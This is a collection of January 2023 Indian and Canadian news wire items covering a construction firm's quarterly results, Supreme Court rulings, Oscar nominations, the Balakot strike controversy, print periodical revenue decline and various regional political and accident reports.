Surat (Gujarat) [India], January 24 (ANI/PNN): BigBloc Construction Limited, one of the leading player in the manufacturing of Aerated Autoclaved Concrete (AAC) Blocks, Bricks and Panels has reported a consolidated net profit of Rs 7.70 crore (PAT margin 15.5 per cent) for Q3FY23, growth of 81.6 per cent Y-o-Y as compared to the net profit of Rs. 4.24 crore (PAT margin 8 per cent) in Q3FY22. Total income during Q3FY23 ended December 2022 was reported at Rs 49.55 crore. EBITDA for Q3FY23 stood at Rs. 13.31 crore (EBITDA Margin 26.9 per cent), rise of 79.3 per cent as against EBITDA of Rs. 7.42 crore (EBITDA Margin 14 per cent) in Q3FY22. EPS for Q3FY23 stood at Rs 1.09 per share, rise 81.2 per cent Y-o-Y. Incorporated in 2015, BigBloc Construction Ltd is one of the largest and only listed company in the AAC Block Space with a capacity of 5.75 lakh cubic meter (cbm) per annum. Green and non-toxic building construction material, AAC blocks are economical, lightweight, soundproof, fire resistance with superior build quality and saves energy, eco-friendly and economical too compared to the traditional bricks. It is the only company in this segment which generates carbon credits. Company is also setting up two Greenfield projects with a combined capacity of 8 lakh cubic meter per annum - 5 lakh cubic meter per annum plant at Wada, Palghar (Maharashtra) and 3 lakh cubic meter per annum in joint venture with Thailand' SCG Group Kapadvanj Ahmedabad (Gujarat). Post completion of both expansion, the company's total capacities will increase to 13.75 lakh cbm per annum making the company one of the largest players in the country. The company also expects to generate around 2.5 to 3 lakh tons of carbon credit every year post the expansion. Commenting on the Performance, Narayan Saboo, Chairman & Managing Director, Bigbloc Construction Ltd said, "Company is growing from strength to strength and has delivered a robust operational and financial performance during December quarter with healthy growth in revenue, profitability. The company is progressing well with its expansion plans at Wada, Maharashtra and joint venture with SCG Group and committed to complete all projects on time. JV with SCG Group aims to share techno-commercial knowledge, promote mutual growth & cooperation in the construction industry and bring new-age building materials to Indian markets. This expansion will help company to further penetrate its presence into untapped markets across the western regions and also make it the largest player in India. Strategic initiatives, operational efficiency with a vision for building a brand with innovative products are likely to contribute healthy growth and maximise value for all stakeholders in the near to medium term." During the quarter, joint venture company - Siam Cement Big Bloc Construction Technologies Pvt. Ltd acquired 60,000 sq mtr land at Kapadvanj, Khdea district near Ahmedabad, Gujarat. Company is setting up a 3 lakhs cubic meter per annum plant for ALC Panels and AAC Blocks. SCG is one of the largest cement and building material companies in South East Asia and will hold 48 per cent in the joint venture with 52 per cent being held by Bigbloc Construction Limited. The plant is expected to start commercial production in Calendar Year 2023. The company had achieved financial closure for Wada facility expansion in the month of July 2022. Total capex for the Wada project is estimated to be around Rs. 65 crore and the company is eligible for 60 per cent subsidy for the project. The company expects commercial operations from the Wada facility in the month of February 2023. Highlights: - 9 Months FY23 Results For the Nine months ended December 2022, the company reported a consolidated net profit of Rs. 24.67 crore (PAT margin 16.1 per cent), growth of 186.7 per cent Y-o-Y as compared to the net profit of Rs. 8.60 crore (PAT margin 7 per cent) during nine months of FY22. Total income during 9 Months of FY23 was reported at Rs. 153.70 crore, rise of 25.3 per cent Y-o-Y as compared to total income of Rs. 122.68 crore reported during nine months of FY22. EBITDA for 9MFY23 stood at Rs. 39.54 crore (EBITDA Margin 25.7 per cent), rise of 134.9 per cent as against EBITDA of Rs. 16.83 crore (EBITDA Margin 13.7 per cent) during nine months of FY22. Use of AAC blocks in India is growing stupendously owing to increased awareness, growth in the infrastructure sector and preferences for low-cost houses amongst the builders and architects and several beneficial attributes over red clay and fly ash bricks. India is the second largest block manufacturer in the World after China. Indian AAC block Industry is almost entirely unorganised and has around 150-180 plant with a large number of plants in Western India. Indian AAC blocks market is expected to grow to Rs.11,000 crore by 2027 with a CAGR of 14.3 per cent during 2020-27. BigBloc Construction Limited is India's leading AAC block and related products manufacturing company. AAC blocks are a superior quality building material which provides an unparalleled blend of strength, lightweight, thermal insulation, soundproof, unsurpassed fire resistance and highly proficient building capability. The company markets its products under brand name 'NXTBLOC'. Company's manufacturing plants are located in Gujarat at Umargam near Vapi and Kapadvanj near Ahmedabad and cater to Maharashtra, Gujarat, Madhya Pradesh and Rajasthan. Company client includes Lodha, Adani Realty, Piramal Realty, PSP Projects, L&T, Prestige Group among others. Key Developments and Business Outlook:- - Civil works at the Wada facility at Maharashtra is completed. Plant and machinery installation is going on. Plant is expected to start commercial production in the month of Feb 2023. - Land acquisition for the joint venture plant with SIAM Group is completed under subsidiary "Siam Cement Big Bloc Construction Technologies Private Limited" at Kapadvanj, near Ahmedabad. This story is provided by PNN. ANI will not be responsible in any way for the content of this article. (ANI/PNN)
An action plan was introduced to accelerate the PM Gati Shakti scheme's progress in the meeting of the Group of Infrastructure Committee on Tuesday to address existing inter-ministerial issues with regard to implementation of various infrastructure projects. Union Road Transport and Highways Minister Nitin Gadkari chaired the 10th meeting of the committee. Officials said that several issues were placed on the agenda for deliberation to expedite the progress of ongoing infrastructure projects. These included issues related to pending forest and environment clearances, facilitation of working approvals, and ensuring land allocation or transfer and release of funds. Discussions were also held on policy matters related to environment/forest/wildlife clearance, railways and power, among others. Environment clearances and land policies of Railways and the Ministry and making comprehensive guidelines for environment and forest clearance were also discussed at length. The officers concerned were directed to expedite the process of clearance and implementation of above matters. The stakeholder Ministries/Departments agreed to look into various issues raised and resolve the same in order to expedite infrastructure projects. Union Commerce and Industry Minister Piyush Goyal, Railways, Communications, Electronics and Information Technology Minister Ashwini Vaishnaw, Union Environment, Forest and Climate Change Bhupender Yadav, Minister of State for Road Transport and Highways, Gen V.K. Singh (retd), Minister of State for Power Krishan Pal Gurjar, Minister of State for Ports, Shipping, and Waterways Shripad Naik, and Minister of State for Defence and Tourism Ajay Bhatt participated in the meeting. Senior officers from the ministries concerned, the National Highways Authority of India (NHAI), National Highways and Infrastructure Development Corporation Ltd (NHIDCL) and representatives from states attended the meeting. --IANS kvm/vd ( 284 Words) 2023-01-24-20:32:07 (IANS)
Yes... you read it right! Jim Jefferies returns to Netflix next month with 'High N' Dry,' his fifth stand-up special for the streaming service. According to Variety, a US-based news outlet, the special will be available on Netflix worldwide on February 14, just in time for Valentine's Day. The stand-up special follows "Jim Jefferies: Bare" (2014), "Jim Jefferies: Freedumb" (2016), "Jim Jefferies: This Is Me Now" (2018), and "Jim Jefferies: Intolerant" (2017). (2020). Scott Zabielski directed the new special. In fact, starting with "Contraband" in 2008, "High N' Dry" is Jefferies' eighth TV stand-up unique overall. The subtitle reads, "In the special, newly married and loving life with his wife and kids, Jefferies sounds off on the laziness of koala bears, the injustices of male pattern baldness and why he'll never drink again." As per a report by Variety, the "Give'em What They Want Tour" of 2023 is currently underway, according to Jefferies. " I Don't Know About That with Jim Jefferies", which Jefferies also hosts, is a podcast. At 2019 Just for Laughs festival, Jefferies was recognised as the year's best stand-up comedian. The Jim Jefferies Show, which has three seasons on Comedy Central from 2017 to 2019, as well as the FX series "Legit," which he wrote, executive produced, and appeared in, are among his works. Me and My Mates vs. the Zombie Apocalypse, an Australian movie, had Jefferies as a lead. He appeared in 2021 episodes of "The Librarians," "Bad Judge," and "History of Swear Words," among other shows. (ANI)
Hollywood diva Jennifer Connelly is all in for her 'Top Gun: Maverick' co-star Tom Cruise! The 52-year-old star expects to hear Cruise's name when the 95th Academy Awards nominations are to be revealed today. "He's extraordinary," she explained to Variety. "I think he does an amazing job in the movie," she added. "He's extraordinary as a person and fantastic as an actor, and I think that he is just...perfect. I think that he embodies that character so beautifully... I think he absolutely deserves it," she said in reference to rumblings Cruise could grab an Oscar nomination. According to Fox News, a US-based news outlet, Cruise produced "Top Gun: Maverick," in addition to reprising his role as Capt. Pete "Maverick" Mitchell from the first "Top Gun" movie. "I think the film is a really well-made film, and it's really hard to make a film like that, you know," Connelly continued of the movie that grossed over $1.4 billion, internationally. Connelly, who portrays Penny Benjamin, Cruise's love interest, was quick to acknowledge Cruise's contributions to the movie as a whole. "And also, thinking about Tom's work...think of the things that he did for that role," she explained. "Besides all the stuff on the ground and how wonderful he is in those scenes and creating those relationships - I think that relationship he has with you know, Miles' character, is so beautiful and moving," she said of Cruise's relationship with actor Miles Teller's character Lt. Bradley "Rooster" Bradshaw. She also praised the actor's piloting abilities, many of which he had developed independently. "The work that he did to accomplish those flying sequences...it's something else. It really is," she noted to the outlet as quoted in a report by Fox News. Although "Top Gun: Maverick" was nominated for two Golden Globe Awards--in Best Motion Picture, Drama, and Best Original Song--neither the movie nor Cruise received an award. (ANI)
Indian documentary 'All That Breathes' and short documentary film 'The Elephant Whisperers' are now in the race for the Oscars! 'All That Breathes' is now in the race to bag the Oscars this year in the 'Documentary Feature Film' category. The film, directed by filmmaker Shaunak Sen, revolves around the lives of siblings Mohammad Saud and Nadeem Shehzad, who work out of their derelict basement in Delhi's Wazirabad, to rescue and treat injured birds, especially the black kites. The documentary has been nominated against 'All the Beauty and the Bloodshed', 'Fire Of Love,' 'A House made of Splinters,' and 'Navalny'. This is not the first time that the film has brought laurels to the country. Last year, 'All That Breathes' won the 2022 L'Oeil d'Or, the festival's top prize for documentaries at Cannes 2022. The 90-minute long film was chosen the winner by the jury, comprising Polish filmmaker Agnieszka Holland, Ukrainian writer-director Iryna Tsilyk, French actor Pierre Deladonchamps, journalist Alex Vicente, and Moroccan writer-filmmaker Hicham Falah. Not just this, another Indian film 'The Elephant Whisperers' also made it to the Oscars nomination list this year. The film has been nominated in the 'Documentary Short Film Category'. The short documentary film is currently streaming on the OTT platform Netflix. The 41-minute -long film has been directed by Kartiki Gonsalves. The film's plot revolves around a family who adopts two orphan baby elephants in Tamil Nadu's Mudumalai Tiger Reserve. The film has been nominated against 'Haul Out,' 'How Do You Measure A Year?' 'The Martha Mitchell Effect,' and 'Stranger At The Gate'. Apart from these two films, the other nomination from India at the Oscars is in the 'Original Song' category. 'Naatu Naatu' from SS Rajamouli's 'RRR' made it to the official race this year. (ANI)
The Supreme Court on Tuesday removed the condition, mandating a magistrate's approval for withdrawal or withholding of life support to a terminally ill person. A five-judge constitution bench, headed by Justice K.M. Joseph, said now the document will be signed by the executor of the living will. Two attesting witnesses, preferably independent, should be there when the document is signed and attested before a notary or gazetted officer, it added. The bench also agreed to take on board a suggestion that the executor should hand over a copy of the advance directive to the family physician, if there is any. The apex court introduced these changes in order to make the guidelines on "living will", which is an advance medical directive on end-of-life treatment, more workable. The bench -- also comprising Justices Ajay Rastogi, Aniruddha Bose, Hrishikesh Roy, and C.T. Ravikumar -- said that the notary and the witnesses should record their satisfaction that the document has been executed voluntarily and there was no coercion involved. The bench also agreed to a recommendation that the treating physician when learns about the advance directive, should then determine the authenticity of the document. During the hearing in the matter, the top court had pulled up the Central government for not enacting a law on passive euthanasia as laid down in its 2018 judgment. Last week, the Supreme Court had said it will not review its 2018 judgment on passive euthanasia and instead it would modify the guidelines on "living will" to make it more effective. The bench had said: "We will simply make it a little bit more workable; we can't be reviewing it... We cannot be reopening the whole thing." Senior advocate Arvind P. Datar, representing The Indian Society for Critical Care, had submitted that he has submitted a chart elaborating the areas which are unworkable. Additional Solicitor General K.M. Nataraj, representing the Centre, said that everything has already been laid down and there are some practical difficulties and that vacuum has to be filled. The top court was considering a plea seeking modification of the guidelines for living will/advance medical directive issued by it in 2018. In 2018, a top court's judgment had recognised that a person in a persistent vegetative state may execute an advance medical directive or a "living will" to refuse medical treatment. But people wanting to get a "living will" registered were facing problems due to unworkable guidelines. --IANS ss/vd ( 416 Words) 2023-01-24-19:14:02 (IANS)
The Supreme Court on Tuesday said that a state legislature has no legislative competence to enact a law in respect of modern medicine or allopathic medicine, contrary to the standards that have been determined by the central law. It emphasised that policies for enhancing access to rural healthcare must not "short-change" the citizens residing in rural areas or subject them to direct or indirect forms of unfair discrimination on the basis of their place of birth or residence. A bench of Justices B.R. Gavai and B.V. Nagarathna said: "Any variation between the standards of qualification required for medical practitioners who render services in rural areas qua the medical practitioners rendering services in urban or metropolitan areas must prescribe to constitutional values of substantive equality and non-discrimination." It said that deciding the particular qualifications for medical practitioners practising in disparate areas and in disparate fields, providing different levels of primary, secondary or tertiary medical services, is within the mandate of expert and statutory authorities entrusted with the mandate by the Parliament. Justice Nagarathna, who authored the judgment on behalf of the bench, said while the state has every right to devise policies for public health and medical education, with due regard to peculiar social and financial considerations, these policies ought not to cause unfair disadvantage to any class of citizens. "The citizens residing in rural areas have an equal right to access healthcare services, by duly qualified staff. Policies for enhancing access to rural healthcare must not short-change the citizens residing in rural areas or subject them to direct or indirect forms of unfair discrimination on the basis of their place of birth or residence," said the bench, in its 139-page judgment. The top court's judgment came on an appeal against the Gauhati High Court order, struck down the Assam Rural Health Regulatory Authority Act, 2004, on the ground that it was ultra vires the Indian Medical Council Act, 1956 as well as unconstitutional. The top court said: "We hold that decision of the Gauhati High Court holding that the Assam Act to be null and void, is just and proper". It added that in view of the Indian Medical Council Act, 1956 and the Rules and Regulations made thereunder, the Assam Act is declared to be null and void. The Assam government had introduced a three-year diploma course to address the issue of the shortage of qualified medical professionals by producing a cadre of doctors allowed to practice modern medicine, to a very limited extent. The Indian Medical Association (IMA), the main respondent in the case, had argued that the Assam Act discriminates between patients living in rural areas and those living in urban areas, implying that the persons who live in urban areas are entitled to standard treatment and those who live in rural areas are entitled to sub-standard treatment. "There are more than 2,244 MBBS doctors working in the rural areas of Assam; even if there is a shortfall of doctors in the rural areas and the Assam Act aims to remedy the shortfall, the solution lies in increasing their coverage via permissible means and not otherwise," it had submitted. The Assam government did not challenge the judgment passed by the high court, which struck down the Assam Act and only private individuals were appellants before the apex court. Assam enacted a subsequent legislation and has tried to accommodate the ousted diploma holders in different capacities. Dismissing the appeals, the top court said: "The subsequent legislation, namely, the Assam Act of 2015 i.e., the Assam Community Professionals (Registration and Competency) Act, 2015, enacted pursuant to the judgment of the Gauhati High Court, is a valid piece of Legislation as it has removed the basis of the impugned judgment passed by the Gauhati High Court. The 2015 Act is also not in conflict with the IMC Act, 1956, hence, by a separate legislation the Community Health Professionals have been permitted to practise as such professionals. The said legislation of 2015 is not in conflict with IMC, Act, 1956 and the rules and regulations made thereunder." --IANS ss/vd ( 694 Words) 2023-01-24-21:50:03 (IANS)
Digvijaya Singh's remark on Balakot surgical strikes against Pakistan has drawn immense fury from the ex-Indian Air Force personnel who on Monday said the Congress leader "is not aware of the facts and is misinformed". Air Marshal Raghunath Nambiar (Retd), who retired after commanding the Western Air Command took on the Congress leader and said, "Singh does not know what he is talking about and is misinformed". He made it clear that the pilots involved in the Balakot Airstrike in Pakistan-Occupied Kashmir "did exactly as they were briefed". His remarks come after Congress leader Digvijaya Singh said that there was no proof of the Surgical strike against Pakistan which was claimed by the Centre. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said the Congress leader in his address in Jammu today. Speaking to ANI, ex-Indian Air Force officer Air Marshal Raghunath Nambiar (Retd) said, "This gentleman does not know what he is talking about. He has been misinformed and is not aware of the facts. I took over as the Commander-in-chief of the Western Air Command two days after the Balakot strike and am fully aware of what transpired. Let me assure all of you that our brave pilots did exactly as they were briefed and achieved all the objectives that we had set for them." "Please do not believe any lies and be rest assured that the Balakot Airstrike was a thumping success," he said. Earlier, another former IAF officer Wg Cdr Praful Bakshi said the Indian forces are not bound to give proof about the Surgical strikes it conducted in Pakistan-Occupied Kashmir, adding that the government knows that sharing the details of the attack is "against the policy of the army". He said that if Congress wants to see the proof, the party should "ask the Pakistanis". Speaking to ANI, Wg Cdr Bakshi said, "The Army does not give any proof. What proof should it give and why? If you want to know, ask the Pakistanis. If they are your friends, they will tell you, if not, they won't. Nobody can compel the Army to give proof. If the government wants to give proof, it can. But the government also knows that it would be against the policy of the Army. The Pakistanis levelled the place where the attack took place. It does not matter who says what. I think it is not even a question. The media should not react to this." The Wg Cdr said that Pakistan has come down to its knees after the strikes, adding that it is the duty of the Army "not to answer". "It is about national security. The strike was conducted for the country. Neither the Army nor the government is bound to answer how and why the strikes were conducted. Pakistan has come to its knees after the strikes. Now their Prime Minister wants good relations with India. It is the duty of the Army not to answer even if the almighty asks," he said. (ANI)
The Indian Army is not bound to give proof about the surgical strikes it conducted in Pakistan-Occupied Kashmir, former IAF officer Wg Cdr Praful Bakshi (retd) said on Monday, adding that the government knows that sharing the details of the attack is "against the policy of the army". Wg Cdr Praful said that if Congress wants to see the proof, the party should "ask the Pakistanis". The remarks came after Congress leader Digvijaya Singh said that there was no proof of the Surgical strike against Pakistan which was claimed by the Centre. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said the Congress leader in his address in Jammu today. Speaking to ANI, Wg Cdr Bakshi said, "The Army does not give any proof. What proof should it give and why? If you want to know, ask the Pakistanis. If they are your friends, they will tell you, if not, they won't. Nobody can compel the Army to give proof. If the government wants to give proof, it can. But the government also knows that it would be against the policy of the Army. The Pakistanis levelled the place where the attack took place. It does not matter who says what. I think it is not even a question. The media should not react to this." The former IAF officer said that Pakistan has come down to its knees after the strikes, adding that it is the duty of the Army "not to answer". "It is about national security. The strike was conducted for the country. Neither the Army nor the government is bound to answer how and why the strikes were conducted. Pakistan has come to its knees after the strikes. Now their Prime Minister wants good relations with India. It is the duty of the Army not to answer even if the almighty asks," he said. Earlier, Digvijaya Singh also targeted PM Modi over the Pulwama terror attack in which over 40 CRPF personnel were killed. The former Madhya Pradesh chief minister said that the 2019 terror attack could have been averted had the vehicle, which launched the attack on the CRPF been checked properly. "Why did they die? CRPF director had sought for airlifting of CRPF personnel from Srinagar to Delhi as the area was a sensitive one but PM Modi declined the request. Why did he decline?," Singh questioned. The BJP alleged that the Congress leader has been "blinded" by the hatred against Prime Minister Narendra Modi, while adding that such statements are made at the behest of the top leadership of Congress. BJP national spokesperson Gaurav Bhatia said that it has become a "character" of the Congress party to make "irresponsible remarks". "Congress leaders are doing Bharat todo on the instructions of Rahul Gandhi. Digvijaya Singh has become a symbol of giving venomous remarks. Trust in the Army is unbreakable and above politics. If the Army said that there was a surgical strike, then also you ask for proof repeatedly. This shows that you do not have faith in our Army," Bhatia said. "It has become a character of Congress to give irresponsible statements. But if they speak against the Indian Army, it won't be tolerated. It seems that Rahul Gandhi and Digvijaya Singh have been blinded by their hatred towards Narendra Modi. They do not even realise their responsibilities," he added. (ANI)
Photo: Emma Crawford. Print publications are seeing advertising shift to their digital versions

It may sound like old news that print publishers are losing advertising revenue to digital publications, and are forced to shift their business models toward becoming more online-focused, but new data shows that trend is alive, well and picking up speed.



Canadian periodical publishers generated $982.8 million in operating revenue in 2021, according to data Statistics Canada released today. That is down 16.4 per cent from the more than $1.17 billion that those publishers generated in 2019, and is the lowest amount since comparable data started to be collected in 2013, according to the nation's number cruncher.



Statistics Canada's data is for every other year. In the two-year period between 2017 and 2019, Canadian publishers' operating revenue fell nearly 10.6 per cent from more than $1.31 billion.



The effects of the COVID-19 pandemic likely played a role as consumers tended to spend more time at home and less time at stores where they could buy periodicals. Paper costs increased, causing even more hardship for print publishers.



Consumers' increasing preference to read news online has also meant that the print-periodical industry struggled to attract advertising dollars. Advertisers were also able to invest marketing dollars in social media websites and digital advertising that appeared on a range of websites or in search results. Some estimates pin the proportion of digital advertising spending that Google and Facebook reap at around 80 per cent.



Indeed, the largest decline in print periodicals' revenues in 2021 was in advertising sales, which fell by $146.6 million from 2019, Statistics Canada said. Likewise, circulation sales revenues continued to decrease, falling $32.0 million from 2019, it added.



Publications continue to morph into being bigger digital entities by offering online subscriptions and digital editions of print newspapers and magazines. This trend meant that digital advertising in these publications increased by $7.6 million in 2021, compared with 2019, Statistics Canada said. Digital advertising rates, however, are low, making it more challenging for news organizations to sustain operations at levels seen when print advertising was dominant.



In that same time 2019-2021 period, periodical publishers' circulation revenue  much of it online  increased by $5.9 million, Statistics Canada said.



Online-only publications have been on the rise. The share of all periodicals that Statistics Canada included in its analysis that were digital-only titles increased to 11.1 per cent, up from 9.5 per cent in 2019.



Another trend is in the decline of free, or promotional copies of publications.



"This trend was further impacted by the pandemic, during which areas with high foot traffic, such as corner stores and malls, were affected by restrictions," Statistics Canada said.



"The share of other free, complimentary or promotional copies among total circulation declined 4.7 percentage points in 2021 from 2019."



Some good news is that many publications are profitable.



In 2021, operating expenses declined by $199.9 million from 2019, resulting in a higher profit margin of 9.3 per cent, Statistics Canada said.



Salaries, wages, commissions and benefits fell $54.5 million over the same period.


The young engineering students said that they are celebrating Parakram Day' to send a message across the nation that Netaji still inspires the youth.

Doctors associated with Rotary Club and Red Cross Society helped in the blood donation drive.

--IANS atk/arm

( 81 Words)

2023-01-23-19:34:07 (IANS)
Two years back on this day, Awaz The Voice laid the foundation of this distinctive editorial platform on the birth anniversary of Netaji Subhas Chandra Bose.

The portal has focused on stories of communal harmony, Indian culture, and syncretic shared history and succeeded in carving out a niche for itself on the internet.

"Encouraged by the overwhelming response of readers and viewers, we launched an Assamese edition in 2021. This has also been received well by the readers and viewers," Editor-in-Chief, Atir Khan said.

On the second anniversary of the portal, he said that Awaz The Voice is here to change the way people perceive the media.

--IANS san/d

( 163 Words)

2023-01-23-19:40:04 (IANS)
The delegation briefed him about their problems, including the target killings of minority community members by the terrorists. They also invited Gandhi to visit the Jagti migrant township on the Jammu-Srinagar highway and sources in the delegation said the Congress leader has accepted the invitationA

Delegation members said that they had good interaction with Gandhi, who was briefed about the various problems of the community, especially those faced by migrant members recruited under the Prime Minister's package and are posted in the Valley.

Gandhi was informed that the salaries of these migrant employees have not been paid for seven months after they left the Valley in the wake of target killings of the members of minority community in 2022.

Most migrant employees working in the Valley left out of fear in May 2022 when Rahul Bhat was killed by the terrorists inside his office in Budgam district.

The delegation also raised the demand for enhancement of relief given to migrant families living outside the Valley.

Delegation members said that Gandhi promised to raise their problems inside the Parliament and also outside it.

--IANS sq/vd

( 219 Words)

2023-01-23-19:44:03 (IANS)
The Myanmar national, identified as Than Htike Lwin, was onboard MT GB Venture, which had reached near Sagar Island from Singapore.

The rescue operation was carried out with an indigenous Advanced Light Helicopter equipped with a medical team from Biju Patnaik International Airport (BPIA) here.

According to official sources, the Indian Coast Guard officials received a message from Sagar VTMS regarding an injury to a Myanmar crew onboard MT GB Venture in the morning. The officials communicated with the master to ascertain the condition of the patient and other details.

After detailed assessment and discussion with the master, the patient's condition was assessed to be critical, requiring immediate medical care, the Coast Guard said in a statement.

The Coast Guard launched the operation at 8.55 a.m. and aircraft reached near the merchant vessel at 10.10 a.m. and the patient, who had suffered injuries to his abdomen, was airlifted from mid-air. By 11.40 a.m., the operation was completed and the patient smoothly landed at Bhubaneswar airport, it said.

The patient was admitted to a private hospital in Bhubaneswar.

"First time indigenous Advanced Light Helicopter from Bhubaneswar has undertaken an extremely long-range Medical Evacuation from the sea," the Coast Guard said.

--IANS bbm/uk/

( 243 Words)

2023-01-23-20:14:04 (IANS)
The accident took place at Chantchaur village under Ujiyarpur police station around 10 a.m.

The majority of the injured were bus passengers, comprising a marriage party, returning from neighbouring Khagaria district after the marriage. They have been admitted to hospitals of Ujiyarpur, Musrigharari and Dalsingsarai blocks.

As many as 10 of the victims are in critical condition.

The victims claimed that the bus was going at high speed and hit a truck coming from the opposite direction. Local villagers came to help rescue the victims.

--IANS ajk/vd

( 124 Words)

2023-01-23-20:18:04 (IANS)
In the latest, amid the ongoing row between Centre and judiciary over appointment of judges, Union Law Minister Kiren Rijiju on Monday said judges do not contest elections or face public scrutiny. Addressing an event of the Delhi Bar Association, Rijiju, in Hindi, said: "Every citizen asks questions to the government and questions should be asked. If the public would not ask questions to the elected government, then who would they ask questions to... we do not step away from questions, we face it because we are elected representatives." Rijiju said he had participated in many events which include Supreme Court Chief Justice and Supreme Court judges and high courts, even there he had emphasised that today he is working as Law Minister but tomorrow if people do not elect his government, then they would sit in the Opposition, and they will question the ruling government. "But, when a judge becomes a judge, he does not have to face an election. There is also no public scrutiny for judges. That is why I say, people do not elect judges and this is why the public cannot change judges. But people are watching you. Your judgment and the working of judges and the way judges dispense justice, people are watching it and assess... They form opinions. In the age of social media, nothing can be hidden," he said to loud applause. He further added that the Chief Justice had sought his help in connection with the abuse judges face on social media. "How to control that? Now, judges cannot respond to it on social media. The government was requested to take a firm step... I have taken note of it," he added. Rijiju has been vocal in the criticism of the collegium system for appointment of judges, and even termed it alien to the Constitution. The Central government is seeking to have a larger role in the appointment of judges. The Law Minister on Sunday cited comments by a retired high court judge, saying the Supreme Court "hijacked" the Constitution by deciding to appoint judges itself - and said he considered the former judge's view "sane". The Law Minister said the majority of the people have similar sane views.A Sharing the interview of justice R S Sodhi (retd), a former judge of the Delhi High Court, Rijiju tweeted: "Voice of a judge...Real beauty of Indian Democracy is- it's success. People rule themselves through their representatives. Elected representatives represent the interests of the people & make laws. Our Judiciary is independent and our Constitution is Supreme". In an interview, Justice Sodhi (retd) said the right to frame laws lies with the Parliament and added that the Supreme Court cannot frame laws as it does not have the right to do so. Sodhi, speaking in Hindi, said: "Whether you can amend the Constitution? Only Parliament will amend the Constitution. But here I feel the Supreme Court for the first time 'hijacked' the Constitution." He further added that after the 'hijacking', they (the apex court) said that we will appoint (judges) ourselves and the government will have no role in it. Sodhi said high courts are not subservient to the Supreme Court but high court judges start looking at the Supreme Court and become subservient. --IANS ss/vd ( 556 Words) 2023-01-23-20:36:03 (IANS)
The Madras High Court on Monday reserved its judgment on a petition filed by an advocate against an order of the National Company Law Tribunal (NCLT) that lawyers should wear gowns while appearing before its bench. A division bench comprising of Justices R. Mahadevan and Mohammed Shaffiq reserved the orders on a petition filed by advocate R. Rajesh, arguing that a division bench of Justice K. Ravichandra Babu (since retired) and Justice T.S. Sivagnanam passed an interim stay on the notification issued by the NCLT registrar. The petitioner said that the NCLT registrar was again demanding the advocates to wear the gown before the benches of the NCLT without complying with the interim stay. "The notification and subsequent orders passed by the NCLT Registrar is illegal, arbitrary and devoid of merits," he argued. He also said that the grounds of the interim stay by the Madras High Court was that the notification is against the rules of the Bar Council Of India, which state that advocates should wear a gown while they are appearing before High Courts and Supreme Court. Advocate S.R. Raghunathan, who represented the Bar Council of India, supported the petitioner's argument and stated that the NCLT registrar could not issue such a statement as it was against the Bar Council of India rules. The BCI's counsel said that they had sent a notice to the NCLT registrar against the new order issued despite an interim stay order by the Madras High Court division bench. Counsel said that the registrar had withdrawn the order after receiving the notice. --IANS aal/vd ( 278 Words) 2023-01-23-20:52:03 (IANS)
Leaders and activists of Bharatiya Janata Yuva Morcha (BJYM) on Monday tried to lay siege to Telangana Chief Minister's official residence Pragathi Bhavan in support of the demand of teachers to amend the Government Order 317 to enable spouses to work in the same district. Police detained the protestors when they tried to advance towards Pragathi Bhavan and shifted them to Panjagutta police station. A police constable was injured when he fell on the windscreen of the bus when he was allegedly pushed by the protestors who were detained and being shifted to the police station. BJP minority morcha activists also tried to advance towards the Chief Minister's official residence but were detained by police. The protestors were physically lifted and shifted to waiting police vehicles. Government school teachers had on Sunday staged a protest at Pragathi Bhavan demanding the scrapping of or amendment to the GO, saying injustice was being done to them. Meanwhile, BJP state President Bandi Sanjay Kumar has demanded that the GO be scrapped immediately. He said the BRS government has kept the problem pending for two years. Sanjay alleged hundreds of teachers were suffering due to the lacunae in the GO. He said as transfers of spouses were stopped in 13 districts, this was causing severe hardships to teachers. He claimed that 34 teachers committed suicide due to the GO. The BJP leader said if the government failed to scrap or amend the GO, teachers will be forced to go on strike. Sanjay condemned the arrest of teachers who were staging protests along with their children. He urged the police not to use force against teachers and reminded them that they are also government employees. The BJP leader said if the BRS failed to resolve the demand of teachers, the BJP would amend the GO and ensure justice to teachers after coming to power in the state. The GO was issued on December 6, 2021 with a zonal system in allocation of jobs. The zonal system was introduced after Telangana was reorganised into 33 districts from 10 in 2016. --IANS ms/vd ( 356 Words) 2023-01-23-20:54:05 (IANS)
A day after the All India Congress Committee (AICC) released the names of over 60 organisational district presidents along with a 21-member Political Affairs Committee (PAC) for Madhya Pradesh, the MPCC made the first modification in the list. The appointment of the Indore district president was put on hold on Monday. Late on Sunday, the AICC had approved the Madhya Pradesh Congress Committee's (MPCC) proposed list of 64 district organisational presidents, noting that the approval was given on the direction of Congress president Mallikarjun Kharge. However, sources in the MPCC later told IANS that "it wouldn't be the final list" and modifications would be expected after Rahul Gandhi's Bharat Jodo Yatra concludes. The list of 64 district presidents included the name of Arvind Bagadi, who was appointed Congress president for Indore city. However, voices raised against his selection by the party leaders in Indore prompted MPCC head Kamal Nath to put Bagadi's appointment on hold on Monday, the MPCC told IANS in an official note. Sources said a delegation of the Indore district Congress on Monday met Kamal Nath and Madhya Pradesh Congress in-charge, Jai Prakash Agarwal in Bhopal, and objected to Bagadi's appointment, saying that they (Indore Congress workers) would accept anyone but him. They also accused Bagadi of being supportive of the BJP. After a discussion with the Indore Congress workers, the MPCC decided to put Bagadi's appointment on hold. "This is to inform that the appointment of Arvind Bagadi as district president of Indore city in Madhya Pradesh has been put on hold till further orders," a notification issued by Jai Prakash Agarwal said. Insiders told IANS that the state leadership wanted a "compact" committee from the state to the district level. Sources also said that many who were holding posts in the MPCC were excluded from the new list, and therefore, modifications will be done in a fresh list. AICC general secretary K. C. Venugopal in a release on Monday said Congress president Mallikarjun Kharge has approved the proposal for the appointment of office-bearers and presidents of various district committees in Madhya Pradesh. --IANS pd/bg ( 363 Words) 2023-01-23-20:56:02 (IANS)
